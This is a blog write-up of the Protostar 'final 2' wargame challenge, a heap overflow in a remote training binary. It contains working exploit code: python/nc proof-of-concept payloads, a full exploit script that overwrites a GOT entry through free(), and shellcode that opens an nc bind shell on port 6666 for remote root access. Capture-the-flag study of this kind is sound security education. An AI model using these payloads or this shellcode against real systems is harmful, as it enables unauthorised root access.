Sunday, January 13, 2013

exploit-exercises Protostar: Final 2

This is the write-up for final 2 which is the last challenge of exploit-exercises' Protostar wargame and involves exploiting a remote heap overflow. The source code of the remote heap overflow vulnerable program is provided as follow:
#include "../common/common.c"
#include "../common/malloc.c"

#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993

#define REQSZ 128

void check_path(char *buf)
        char *start;
        char *p;
        int l;

         * Work out old software bug

        p = rindex(buf, '/');
        l = strlen(p);
        if(p) {
                start = strstr(buf, "ROOT");
                if(start) {
                        while(*start != '/') start--;
                        memmove(start, p, l);
                        printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
                        "yes" : "no", start - buf);

int get_requests(int fd)
        char *buf;
        char *destroylist[256];
        int dll;
        int i;

        dll = 0;
        while(1) {
                if(dll >= 255) break;

                buf = calloc(REQSZ, 1);
                if(read(fd, buf, REQSZ) != REQSZ) break;

                if(strncmp(buf, "FSRD", 4) != 0) break;

                check_path(buf + 4);


        for(i = 0; i < dll; i++) {
                write(fd, "Process OK\n", strlen("Process OK\n"));

int main(int argc, char **argv, char **envp)
        int fd;
        char *username;

        /* Run the process as a daemon */
        background_process(NAME, UID, GID);

        /* Wait for socket activity and return */
        fd = serve_forever(PORT);

        /* Set the client socket to STDIN, STDOUT, and STDERR */


The only difference between the provided source code and the binary on the target machine is the printf() within the check_path() function is not called in the binary. The vulnerability happens in the check_path() function as the '/' is assumed to be preceding the 'ROOT' in the buffer and is looked for backward with no boundary checking.
        while(*start != '/') start--;
After that, the rest of the buffer starting from p is copied into start's new position.
        memmove(start, p, l);
Other important information to keep in mind:
- Each request is 128 bytes.
- Each request is allocated a chunk on the heap.
- We can chain requests with the same connexion.
With that in mind, our solution for this challenge involves sending two requests: The first one will contain the "previous" '/' from which we will start copying into. The second one will contain the ROOT from which we start iterating and the second '/' that marks the start of the area we copy from. A PoC to make things clearer:
kroosec@doj:~$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ 'A'*103 + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff'+'B'*4+'C'*4" | nc 2993
Notice the second '/' (and the payload to exploit the free() call) is at the end of the request. This is to limit the effect of the memmove() which copies strlen(p) amount of data.
And the state of the program when the crash happens.
(gdb) x/i $eip
0x804aaef <free+301>:   mov    %edx,0xc(%eax)
(gdb) i r edx
edx            0x43434343       1128481603
(gdb) i r eax
eax            0x42424242       1111638594
Arbitrary memory overwrite, just like heap 3. We will overwrite the write() GOT
entry with the address of our shellcode which will be located at 0x804e09c.
root@protostar:/home/user# objdump -R /opt/protostar/bin/final2 | grep write
0804d41c R_386_JUMP_SLOT   write
Checking that our addresses are correct, using a "int3" (sigtrap) instruction in place of our shellcode we get:
kroosec@doj:~$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ '\xcc' + '\x90'*102 + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff'+'\x10\xd4\x04\x08'+'\x98\xe0\x04\x08'" | nc 2993

(gdb) x/x 0x0804e098
0x804e098:      0x909090cc
(gdb) continue

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0804e099 in ?? ()

(gdb) x/5i $eip - 1
0x804e098:      int3
0x804e099:      nop
0x804e09a:      nop
0x804e09b:      nop
0x804e09c:      nop
Now, with the final expoit payload.
kroosec@doj:~$ cat
#!/usr/bin/env python

req_size = 128
NOP = '\x90'
jump = NOP * 6 + '\xeb\x06' # JUMP + 6
free_payload  = '/' + '\xf8\xff\xff\xff' + '\xfc\xff\xff\xff'
free_payload += '\x10\xd4\x04\x08' + '\x98\xe0\x04\x08'

shellcode  =  "\x31\xc0\x50\x68\x6e\x2f\x6e\x63"
shellcode +=  "\x68\x2f\x2f\x62\x69"
shellcode +=  "\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
shellcode +=  "\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
shellcode +=  "\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
shellcode +=  "\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
shellcode +=  "\xd2\xcd\x80"

first_req = HDR + 'A'* (req_size - len(HDR) - 1) + '/'
second_req  = HDR + 'ROOT' + jump #16
second_req += NOP * (req_size - len(HDR) - 4 - len(jump) - len(shellcode) - len(free_payload))
second_req += shellcode
second_req += free_payload #17

print first_req + second_req
Last point to clarify, is the short relative jump "\xeb\x05" we have add which
is used to jump over the second value written by the free() call.
(gdb) x/20x 0x804e090
0x804e090:      0x0804d410      0x0804e098      0x90909090      0x06eb9090
0x804e0a0:      0x0804d410      0x90909090      0x90909090      0x90909090
0x804e0b0:      0x90909090      0x90909090      0x90909090      0x90909090
0x804e0c0:      0x90909090      0x6850c031      0x636e2f6e      0x622f2f68
0x804e0d0:      0x50e38969      0x36363668      0x6c2d6836      0xe2897074
Let's get our remote root shell.
kroosec@doj:~$ python | nc 2993 &
[1] 9577
kroosec@doj:~$ nc 6666

And that is it with the last challenge of the Protostar wargame.

No comments:

Post a Comment